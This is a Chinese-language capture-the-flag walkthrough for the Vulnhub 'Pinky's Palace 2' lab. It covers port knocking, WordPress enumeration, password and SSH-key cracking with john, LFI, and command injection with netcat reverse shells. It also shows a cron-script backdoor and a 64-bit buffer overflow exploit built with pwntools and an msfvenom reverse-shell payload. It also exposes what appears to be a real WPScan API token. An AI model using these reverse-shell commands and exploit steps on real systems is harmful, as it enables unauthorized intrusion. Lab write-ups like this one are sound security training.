Vulnhub百个项目渗透——项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月30日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
发现开启了80和3个关闭的端口,关闭的端口想到端口敲震

对web页面访问,发现这是一个wp站

作者说靶场需要执行命令加一个host:
echo 192.168.247.158 pinkydb | sudo tee -a /etc/hosts
先用awvs和wpscan扫一下

dirb爆破
dirb http://pinkydb/ /usr/share/dirb/wordlists/big.txt
出来了一个wp的后台登陆页面,接下来想知道账号密码

wpscan扫描
wpscan --url http://pinkydb/ -eu --api-token FcYxHGcLoHeQBE1dgySYBdHmAaQjynt7iIa1qsRG4fs

dirb继续爆,发现

http://pinkydb/wp-login.php ----后台登录地址
http://pinkydb/secret/ ----存在bambam.txt文件

8890 7000 666
一看这玩意就是端口敲震,那就敲呗
pinkydb
但是这个顺序不对,反正一共9种可能,配合上nmap -p- 试试就行

nmap -p4655,7654,31337 192.168.247.158 -A
4655/tcp open ssh OpenSSH 7.4p1 ---ssh登录
7654/tcp open http nginx 1.10.3 ---nginx中间件服务
31337/tcp open Elite? 这是一个头部信息
接下来又是僵局,只剩下一个ssh爆破或者ngnix的网站服务,先看看好进行的nginx

这里还看到了下面写的31337可能是我们的后门,但是不能访问,就先放着,但估计最后·突破点是这个31337的端口服务
有了新的web第一件事就是爆破目录
继续dirb爆破7654端口!
dirb http://pinkydb:7654/ /usr/share/dirb/wordlists/big.txt
发现apache目录!
枚举页面:curl http://192.168.247.158:7654/apache/wp-config.php
/** MySQL database username */
define('DB_USER', 'pinkywp');
/** MySQL database password */
define('DB_PASSWORD', 'pinkydbpass_wp');
数据库用户名密码泄露!!通过ssh、后台登录页面都无法进入,也未开启3306端口!

稍微捋捋现在有的信息
一组账号密码:pinkywp pinkydbpass_wp
还有一个单独的账号 pinky1337
还有ssh,一个wp的登陆页面,一个nginx的登陆页面(可能可以爆破和sql注入),还有很多的东西在登录到wp之后应该可以提权,ssh可能可以爆破,
bp抓包,账号未知,不敢确定之前那个pinky123是账号
用cewl爬取页面
cewl http://pinkydb > 1.txt

不同的响应码,不同的长度
爆破成功

看到一个什么玩意的rsa,那就拿这个登录呗

搞到本地

这tm是什么鬼。。。。。。rsa还有密码
john暴力破解ssh:
locate ssh2john.py
/usr/share/john/ssh2john.py id_rsa > rong_rsa 这是把rsa的HASH信息提取出来
john --wordlist=/usr/share/wordlists/rockyou.txt rong_rsa
无脑用rockyou即可
secretz101 (id_rsa)
成功爆破获得密码信息!


看到一个note.txt
Pinky made me this program so I can easily send messages to him.
还有一个qsub的64位二进制可执行文件,但是我们没有权限用它,也传不出来,gdb也没有,ls -la发现这个玩意也没啥权限。。。。。那就试试内核提权,那就上传linpeas.sh和les.sh

python -m SimpleHTTPServer 8081
wget http://192.168.4.171:8081/linpeas.sh
chmod +x linpeas.sh
1)存在用户:
demon、pinky、stefano
2)127.0.0.1:3306
pinkywp
pinkydbpass_wp
mysql -upinkywp -ppinkydbpass_wp
里面也没有啥有用的信息


然后那个可执行文件执行以下是这样,这肯定是特殊设置了,我熄灭的希望之火又重新燃烧开了。,但是目前没思路了。根据别的大佬写的WP,我发现在这里我忽视了一个点。。。LFI
这个url其实很显眼,但是我当时拿到了key我就没管了。所以这个事故告诉我们,少就是多,慢就是快

?1337=…/…/…/…/…/etc/passwd
发现可以
那就访问一下那个qsub文件
?1337=/home/stefano/tools/qsub


/bin/echo %s >> /home/pinky/messages/stefano_msg.txt%s TERM[+] Input
Password: %sBad hacker! Go away![+] Welcome to Question Submit![!]
Incorrect Password!
翻译一下,就是把一个什么玩意输入到了一个txt文件,然后密码是TERM好像,然后咋样就输出你是一个坏黑客,或者说欢迎登录
那基本判断出这里可以远程代码执行,然后密码就是TERM
但是我构造了这样的一种输入
./qsub '$(nc -e /bin/bash 192.168.247.129 9999)'
密码是TERM,
但是显示我是个坏黑客?
那就是密码不对应该,因为坏黑客是验证密码环节。咱们一开始的命令没错
谷歌了一下
term是终端
xterm 是图形界面baivirtual terminalvirtual terminal
,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面,文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。

那密码是这个?我咋这么不相信
但是,成功了
当然了本地也要开端口接shell
nc -vlp 9999
首先就是手工的信息枚举
id
ls -la
cd ../..
ls -la
sudo -l
find /-perm -4000 2>/dev/null
find / -name 'pinky' 2>/dev/null |grep -v "Permission Denied/|poc"
find / -group 'pinky' 2>/dev/null
还有好多,我感觉可以写一个命令合集
然后再跑脚本,只发现了开了3306的数据库口子,但是账号密码我们都拿到了,就没去看

首先先看一下上一个机器里面qsub文件输出的东西去哪了,发现是一段话,鼓励

id发现用户权限不足啊,而且很奇怪,可能是自己的权限被隐藏了
newgrp

出来了

最高权限运行的没有

发现了按pinky组权限运行的文件,backup是备份的意思,在linpeas.sh跑都会被标红的那种

ls -la 发现这是个另外一个用户的权限,之前跑脚本也跑出来了还有一个用户,那就先利用这个拿到另外一个用户的shell吧
看一下这是个什么牛马,简单分析一下就是删除当前压缩包然后再压缩一个包,那这必须是个计划任务,定期备份

我跟个傻子一样直接打开想修改,结果shell不行,我直接头裂。。
推荐下面的命令
echo "nc -e /bin/bash 192.168.247.129 6666" >> backup.sh
两个>是写到尾巴,一个>是覆盖,有时候可能会那个啥
本地开启6666接shell
拿到手以后稳定一下
python -c 'import pty; pty.spawn("/bin/bash")'
注意,要么就去那个back.sh目录下执行命令,要么就写绝对路径
我这坑了好久

拿到shell了
crontab -l
查看一下计划任务
cron之前写过,就是计划任务

确实存在一个五分钟的计划任务
id
ls -la
cd ../..
ls -la
sudo -l
find /-perm -4000 2>/dev/null
find / -name 'demon' 2>/dev/null |grep -v "Permission Denied/|poc"
find / -group 'demon' 2>/dev/null
还有好多,我感觉可以写一个命令合集

脚本跑出来的信息,这个panel文件有问题
16K -rwxr-x--- 1 demon demon 13K Mar 17 2018 /daemon[0m/panel
-rwxr-x--- 1 demon demon 13280 Mar 17 2018 panel
ps aux | grep panel
发现是root运行,那就妥了,应该是最后一关了

kail执行命令:nc -lvp 4666 > panel
靶机执行命令:nc 192.168.16.143 4666 < panel
发现能任意输入

info functions

发现了strcpy函数

但是看到了上面这一段信息,看到是一个开进程啥的,这个时候应该想到到目前为止很大嫌疑但是不知道是干嘛的31337端口
为了验证猜想
pkill -9 panel; pkill -i panel --强制关闭文件
netstat -ntulp 查看端口情况
看到我们也确实开了一个31337端口,那就实锤了,这个文件开启的服务就是31337,那接下来我们要干的事就是在我们本地的31337测试

nc -v localhost 31337
输入一堆,发现程序报错
pkill -9 panel; pkill -i panel --先关闭,每次执行完最好都强制关一次,防止出错
gdb中输入pattern_creat 200
出现如下,找stack(堆)的第一条,注意不要复制/n后面的信息
然后pattern_offset 【粘贴】
得到溢出位置是120


from pwn import * --要先pip install pwn装组件
HOST, PORT = "localhost", 31337
payload = ''
payload += 'A'*120
payload += 'BBBB0000'
payload += 'C'*30
r = remote(HOST,PORT)
r.recvuntil("=> ")
r.sendline(payload)
这里要说一下,因为是64位系统,所以会优先寻找寄存器,所以在做最终payload的时候就不需要B了

但是我们同时也看到python执行有报错,类型不符,这个一会再处理


那么这个地址就是我们放在RIP中的地址,可以跳转到payload
这里其实是有小小的缺陷的,我没有找坏字符,只是简单的排除了三个肯定是坏字符的坏字符
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.247.129 LPORT=9898 -b '\x00\x0a\x0b' -f python
在这两个刚才报错的前面加个b,代表强制全转成byte
然后第二个payload之所以这样写是为了用几个A把msf生成的payload剩下的RBP空间填满,不然还会有空的地方,导致RIP的不是JMP RSP

然后运行一下,看到我们的kali没有开外连,所以给shell,然后接下来我们吧py的host改一下,再跑就ok了
